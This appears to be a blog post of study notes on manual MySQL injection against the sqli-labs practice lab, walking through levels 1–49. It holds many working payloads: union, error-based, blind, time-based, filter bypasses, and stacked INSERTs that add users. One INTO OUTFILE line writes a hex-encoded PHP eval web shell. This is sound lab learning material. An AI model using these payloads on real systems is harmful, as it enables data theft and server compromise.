mysql手工注入學習筆記

less-1(普通字符型)

http://127.0.0.1/sql/Less-1/?id=1

加’可知可能是字符型注入
mysql手工注入學習筆記
用and來確認
mysql手工注入學習筆記
mysql手工注入學習筆記
說明存在注入

order by查詢字段數
mysql手工注入學習筆記
mysql手工注入學習筆記
存在3個字段

union select查詢在頁面中顯示的位置
mysql手工注入學習筆記

查詢數據庫
mysql手工注入學習筆記
查詢表
mysql手工注入學習筆記
查字段
mysql手工注入學習筆記
mysql手工注入學習筆記

查內容
mysql手工注入學習筆記

less2(普通數值型)

數字型的

less3(帶括號字符型)

使用’可知可能是拼接型的字符型注入
mysql手工注入學習筆記
使用and判斷
mysql手工注入學習筆記
mysql手工注入學習筆記
確定是注入點
order by查詢字段數
mysql手工注入學習筆記
mysql手工注入學習筆記

less4(帶括號雙引號字符型)

使用’以及數值型無法判斷,使用%81也無法判斷,使用”發現可能是雙引號型的注入,並且是帶括號的
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
order by
mysql手工注入學習筆記
mysql手工注入學習筆記

less5(雙查詢型單引號)

使用’可知可能是字符型注入
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
初步確定注入
order by確定字段數
mysql手工注入學習筆記
union select查看頁面中顯示位置
mysql手工注入學習筆記
失敗,對於注入時沒有在頁面中顯示位置的可使用雙查詢注入方法!
使用雙查詢注入固定公式
union select 1 from (select count(),concat(floor(rand(0)2),(注入語句))a from information_schema.tables group by a)b -- -
mysql手工注入學習筆記
查詢表
mysql手工注入學習筆記
太多顯示不了,使用limit查詢
mysql手工注入學習筆記
mysql手工注入學習筆記
http://127.0.0.1/sql/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113 -- -

' or 1 group by concat_ws(0x3b,version(),floor(rand(0)*2)) having min(0) or '1
mysql手工注入學習筆記

less6(雙查詢型雙引號)

使用’以及數值型注入無法判斷,使用寬字節無法判斷,使用”進行判斷可知是雙引號型的字符注入
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
order by
mysql手工注入學習筆記
union select
mysql手工注入學習筆記
無返回顯示位,使用雙查詢注入
mysql手工注入學習筆記

less7(雙括號盲注mid,ascii,基於時間)

使用’以及數值型無法判斷,根據less2,猜測可能存在有括號的情況
mysql手工注入學習筆記
mysql手工注入學習筆記
嘗試把後面的一個and換成註釋,發現失敗
mysql手工注入學習筆記
猜測可能後面還有一個括號註釋不了
使用雙括號試試
mysql手工注入學習筆記
mysql手工注入學習筆記
使用order by
mysql手工注入學習筆記
使用union select
mysql手工注入學習筆記
沒有回顯,使用雙查詢注入失敗
mysql手工注入學習筆記
使用mid函數進行盲注
判斷數據庫長度
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0X20)),9,1))>1
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記
查詢表
AND ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>1 -- -

LIMIT 0,1),1,1
0,1第一張表是否存在,一次性查詢一張表
1,1第一個字符是否存在,一次性查詢一個字符

查詢字段
AND ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.columnS WHERE table_schema=0x7365637572697479 LIMIT 0,1),1,1))>105 -- -

查內容
AND ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM emails limit 0,1),1,1))>48 -- -
使用ascii
')) and(ascii(substr((select(database())),8,1))>1) and sleep(5) -- -
mysql手工注入學習筆記
可單獨使用
')) and(ascii(substr((select(database())),8,1))>1) -- -
mysql手工注入學習筆記
mysql手工注入學習筆記

less8(字符型盲注mid)

使用’以及and可知存在注入
mysql手工注入學習筆記
mysql手工注入學習筆記
order by
mysql手工注入學習筆記
union select不返回顯示位
使用雙查詢注入失敗
使用mid
mysql手工注入學習筆記
mysql手工注入學習筆記
數據庫總共有8個字符

less9(基於時間的盲注單引號)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷
mysql手工注入學習筆記
mysql手工注入學習筆記
帶’試試
mysql手工注入學習筆記
初步判斷爲基於時間的盲注
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記

使用mid
mysql手工注入學習筆記
mysql手工注入學習筆記
使用ascii
' and(ascii(substr((select(database())),9,1))>1) and sleep(5) and '1'='1
mysql手工注入學習筆記

less10(基於時間的盲注雙引號)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用帶括號無法判斷,使用sleep判斷,以及使用單引號的sleep也無法判斷出,根據less4猜測可能是雙引號
mysql手工注入學習筆記
mysql手工注入學習筆記
使用mid
mysql手工注入學習筆記

less11(post 字符型)

獲取請求頭參數
mysql手工注入學習筆記
post注入
對uname進行注入探測
使用’判斷可能存在注入
mysql手工注入學習筆記
使用or進行進一步探測(主要是使用萬能語句來判斷,根據是否成功登陸,使用and的話想對麻煩點)
mysql手工注入學習筆記
mysql手工注入學習筆記
在使用and來進一步注入
mysql手工注入學習筆記
mysql手工注入學習筆記
常規字符注入
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記

使用雙查詢
mysql手工注入學習筆記
使用mid
mysql手工注入學習筆記

less12(post 帶括號字符型)

使用’以及數值型無法判斷,使用寬字節無法判斷,使用雙引號判斷可能存在注入,且是帶括號型的
mysql手工注入學習筆記
使用or
mysql手工注入學習筆記
mysql手工注入學習筆記
order by
mysql手工注入學習筆記
union select
mysql手工注入學習筆記

less13(帶括號雙查詢)

使用’可知是字符型的,且是帶括號的
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
order by
mysql手工注入學習筆記
union select無返回顯示位
mysql手工注入學習筆記
使用雙查詢
union select 1 from (select count(),concat(floor(rand(0)2),(select database()))a from information_schema.tables group by a)b -- -
mysql手工注入學習筆記

less14(雙查詢雙引號)

mysql手工注入學習筆記

less15(時間盲注,mid)

使用’ 以及 or 以及order by
mysql手工注入學習筆記
mysql手工注入學習筆記
union select不返回顯示位,雙查詢失敗
使用sleep試試
mysql手工注入學習筆記
mysql手工注入學習筆記

less16(時間盲注,mid,帶括號)

mysql手工注入學習筆記
mysql手工注入學習筆記

less17(顯錯注入)sqlmap掛

這裏提示是密碼重置,應該是使用update更新語句,在insert、update、delete用法一致的時候,使用payload
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工注入學習筆記
mysql手工注入學習筆記
and extractvalue(1, concat(0x7f, (select version()),0x7f))
mysql手工注入學習筆記
and 1=(select from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
mysql手工注入學習筆記
使用子查詢
' or (SELECT 1 FROM(SELECT count(
),concat((SELECT(SELECT concat(0x1, cast(database() as char), 0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) or '
mysql手工注入學習筆記

less18(user-agent顯錯,時間,子查詢)

通過頁面查看可知本題注入存在於http請求包裏面(如果沒有提示的話就得先嚐試登錄框)!
簡單使用’對host以及User-Agent判斷,可知注入點可能是User-Agent
mysql手工注入學習筆記
使用and,or,無法進一步判斷,使用sleep進行嘗試
mysql手工注入學習筆記
mysql手工注入學習筆記

使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1)) FROM information_schema.tables limit 0,1),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '

' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工注入學習筆記
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工注入學習筆記

less19(referer顯錯,時間,子查詢)

referer字段可能存在注入
使用’
mysql手工注入學習筆記
使用and or失敗,使用sleep
mysql手工注入學習筆記
mysql手工注入學習筆記
使用子查詢
' or (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) or '
mysql手工注入學習筆記
顯錯注入
' or updatexml(2,concat(0x1,(database()),0x1),0) or '
mysql手工注入學習筆記

less20(cookie注入,雙查詢)

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
union
mysql手工注入學習筆記

使用雙查詢
mysql手工注入學習筆記

less21(cookie注入,base64編碼)

可知cookie是通過base64編碼的
mysql手工注入學習筆記
使用’
mysql手工注入學習筆記

使用admin') and 1=1 -- -
mysql手工注入學習筆記
使用admin') and 1=2 -- -
mysql手工注入學習筆記
使用order by
mysql手工注入學習筆記
union
admin') and 1=2 union select 1,2,3 -- -
mysql手工注入學習筆記

less22(cookie注入,base64編碼,雙引號)

使用’以及數值型,以及寬字節均無法判斷,使用”可初步判斷
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
使用admin" and 1=2 union select 1,2,3-- -
mysql手工注入學習筆記
mysql手工注入學習筆記

less23(顯錯注入,子查詢)

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記

使用雙查詢失敗
使用顯錯注入
or updatexml(2,concat(0x1,(注入語句)),0) or '
mysql手工注入學習筆記
使用子查詢
' and (SELECT 1 FROM(SELECT count(),concat((SELECT(SELECT concat(0x1,cast(database() as char),0x1))),floor(rand(0)2))x FROM information_schema.columns group by x)a) and '
mysql手工注入學習筆記

less24(二次注入)

在登錄的地方,請求的地方均未發現存在有注入,登錄進去後發現有一個密碼重置功能,考慮可能是update語句,可使用顯錯注入,但是提交的時候抓包沒發現重置密碼是提交的用戶名,此時考慮可能存在二次注入。
最基本的一個利用方法如下,已知系統中存在有admin這個賬戶,此時我們註冊一個admin’ -- -的用戶,登錄進去後進行修改密碼,這裏按理解應該是修改admin’ -- -用戶的密碼,其實不然這是修改admin賬戶的密碼,即使我們不知道admin的原密碼。
由於數據庫設置了用戶名長度,懶得改了,應該是可以使用顯錯注入的!

less25(字符注入,過濾一次and和or)

使用’
mysql手工注入學習筆記
使用and或or
mysql手工注入學習筆記
可知過濾了and和or關鍵字,使用大小寫失敗
mysql手工注入學習筆記
使用雙重嵌套,在and裏面嵌套一個and
mysql手工注入學習筆記
mysql手工注入學習筆記
也可以使用&&的URL編碼%26%26
mysql手工注入學習筆記
使用order by
mysql手工注入學習筆記

less25a(數值型,過濾一次and和or)

使用’無法判斷,使用數值型可判斷
使用aandnd 1=1

less26(字符注入,過濾空格及註釋)

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
過濾了空格以及註釋,以及上一關的and,or,這個可以使用嵌套繞過,或者使用其符號(&& ||)的URL編碼進行繞過!
不使用空格及註釋,使用&&或者||然後在使用顯錯注入
-1%27 %26%26 extractvalue(1,concat(0x1,database()))%26%26'1'='1
-1%27 || extractvalue(1,concat(0x1,database()))||'1'='1
mysql手工注入學習筆記
' %26%26 updatexml(2,concat(0x1,(database())),0)%26%26'1'='1
mysql手工注入學習筆記
但是如果想繼續往下查詢就會發現空格怎麼都需要啊,因此使用其他字符的編碼進行繞過,linux使用%0a,windows使用%0a%0d,有時使用%0a也是可以的,但是我的環境就沒有成功,通過對比可能是我mysql版本問題導致,因此根據自身環境來進行測試,爲了忽略這個,因此後面的幾關凡是涉及到過濾空格的代碼我均進行註釋掉,你們只需要知道空格可以使用上面的編碼代替即可!

less26a(帶括號,不顯示mysql錯誤信息)

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
過濾了and,註釋
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記
最後一個截圖我們可知查出來的依舊是id=1的數據,這裏考慮可能存在括號
mysql手工注入學習筆記
帶上括號試試
mysql手工注入學習筆記
不能使用order by,過濾了*不能使用子查詢,不顯示mysql錯誤信息,不能使用顯錯注入,使用union select進行猜測
mysql手工注入學習筆記
mysql手工注入學習筆記
也可以這樣使用2') aandnd 1=2 union select 1,2,('3
mysql手工注入學習筆記

less27(顯錯注入,過濾)

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
過濾了註釋
mysql手工注入學習筆記
mysql手工注入學習筆記
對於過濾了註釋,所以後面的’就不能註釋,所以可以考慮使用雙查詢以及報錯注入進行嘗試
使用雙查詢
mysql手工注入學習筆記
過濾了union select
使用嵌套
mysql手工注入學習筆記
過濾了*好,不能使用雙查詢,因此接着使用顯錯注入
' and updatexml(2,concat(0x1,(database())),0) and '1'='1
mysql手工注入學習筆記
查詢表,從上可知select使用嵌套不能繞過,因此使用大小寫混淆進行嘗試
mysql手工注入學習筆記

less27a(待定,雙引號)

使用’以及數值型注入以及寬字節均無法進行判斷,使用雙引號進行判斷
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
過濾了註釋
mysql手工注入學習筆記
mysql手工注入學習筆記
過濾了註釋,使用雙查詢或顯錯注入進行嘗試
過濾了*,不能使用雙查詢,不顯示mysql錯誤信息,不能使用顯錯注入
使用union select進行猜測
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記

less28(過濾了union select,ascii模糊查詢)

使用'
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
過濾了註釋
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記
可能存在有括號的情況
mysql手工注入學習筆記
不顯示mysql錯誤信息不能使用顯錯注入,過濾了*不能使用雙查詢和子查詢
使用union select進行猜測
mysql手工注入學習筆記
過濾了union 和select,使用嵌套失敗
mysql手工注入學習筆記
過濾了union select以及後面的一個空格(使用%a0可進行繞過,借的圖)
mysql手工注入學習筆記
使用ascii
') and(ascii(substr((sElect(database())),1,1))>114)and('1'='1
mysql手工注入學習筆記

less28a(過濾union select)

同28,但是可以使用註釋符
使用order by
mysql手工注入學習筆記
使用union select,同28
使用ascii
mysql手工注入學習筆記

less29(HPP)

使用’
mysql手工注入學習筆記
說明有一定的防護,此時我們可以嘗試下編碼,但是沒成功,我們使用HPP(參數污染https://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf) 進行下一步的嘗試
mysql手工注入學習筆記
使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記

less30(HPP,雙引號)

使用’說明有防護,編碼繞過失敗,使用HPP
mysql手工注入學習筆記
使用’以及數值型,寬字節型失敗,使用”
mysql手工注入學習筆記

less31(HPP,雙引號及括號)

同上探測
mysql手工注入學習筆記
說明帶括號雙引號
mysql手工注入學習筆記

less32(寬字節)

使用’
mysql手工注入學習筆記
從上面可以簡單看出本關使用寬字節,但是我們依舊按照上面的步驟進行,使用數值型無法判斷,使用寬字節(http://eth10.blog.51cto.com/13143704/1962804 )初步判斷可能存在注入
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
mysql手工注入學習筆記
在查詢表的時候使用十六進制

less33

同上???

less34(寬字節,雙查詢)

使用’,使用數值型無法進行判斷,使用寬字節
mysql手工注入學習筆記
使用or
mysql手工注入學習筆記
mysql手工注入學習筆記
使用雙查詢
mysql手工注入學習筆記

less35(數值型)

使用’失敗
mysql手工注入學習筆記
使用數值型
mysql手工注入學習筆記
mysql手工注入學習筆記
使用order by
mysql手工注入學習筆記

less36

同32

less37

同34???

less38(堆疊查詢)

同1,另外就是可以使用;來進行多條語句的執行
';insert into users(id,username,password) values ('39','eth10','eth10')--+
mysql手工注入學習筆記
mysql手工注入學習筆記

less39

同2

less40

使用’
mysql手工注入學習筆記
使用and
mysql手工注入學習筆記
不能使用註釋,或者說明後面可能還存在括號
mysql手工注入學習筆記
使用子查詢失敗,使用顯錯失敗,使用盲注
使用盲注ascii(可以使用基於時間的)
' and(ascii(substr((select(database())),8,1))>1) and '1'='1
mysql手工注入學習筆記

');insert into users(id,username,password) values ('40','eth10','eth10'); and ('1'='1
mysql手工注入學習筆記
mysql手工注入學習筆記

less41

同39
mysql手工注入學習筆記
mysql手工注入學習筆記

less42

用戶名隨意
密碼:1';insert into users(id,username,password) values ('42','eth10','eth10')-- -

less43

密碼:1');insert into users(id,username,password) values ('42','eth10','eth10')-- -

less44

同42

less45

同43

less46(order by後的注入)

通過對比可知注入點是order by後面的參數
使用desc進行對比
mysql手工注入學習筆記
mysql手工注入學習筆記
使用報錯
(select count() from information_schema.columns group by concat(0x1,(database()),0x1,floor(rand()2)) limit 0,1)
mysql手工注入學習筆記
mysql手工注入學習筆記
下面這種對於limit後的注入依舊適用
mysql手工注入學習筆記
導出文件,寫馬
sort=1 into outfile "F:\phpStudy\WWW\sql\Less-40\eth10.php" lines terminated by 0x203C3F70687020406576616C28245F504F53545B226574683130225D293B3F3E
mysql手工注入學習筆記
mysql手工注入學習筆記
使用盲注
1 and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工注入學習筆記

less47

通46,只是是字符型的
' procedure analyse(extractvalue(rand(),concat(0x1,version())),1)-- -
' and (updatexml(2,concat(0x1,(database())),0)) -- -
mysql手工注入學習筆記
使用延時注入1' and If(ascii(substr(database(),1,1))=114,0,sleep(5))--+
mysql手工注入學習筆記

less48

同46,不能使用顯錯可使用盲注
mysql手工注入學習筆記
使用rand
rand(ascii(left(database(),1))=116)
mysql手工注入學習筆記
mysql手工注入學習筆記
mysql手工注入學習筆記

less49

同47,沒錯誤回顯
延時盲注
1' and (If(ascii(substr((database()),1,1))=114,0,sleep(5)))-- -

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章